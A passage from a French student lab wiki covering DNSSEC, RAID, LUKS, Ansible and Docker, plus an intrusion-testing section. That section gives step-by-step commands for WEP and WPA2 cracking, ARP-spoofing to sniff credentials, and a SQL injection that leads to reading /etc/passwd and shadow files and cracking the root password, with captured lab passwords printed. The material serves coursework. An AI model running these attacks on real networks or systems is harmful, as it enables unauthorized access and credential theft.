&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
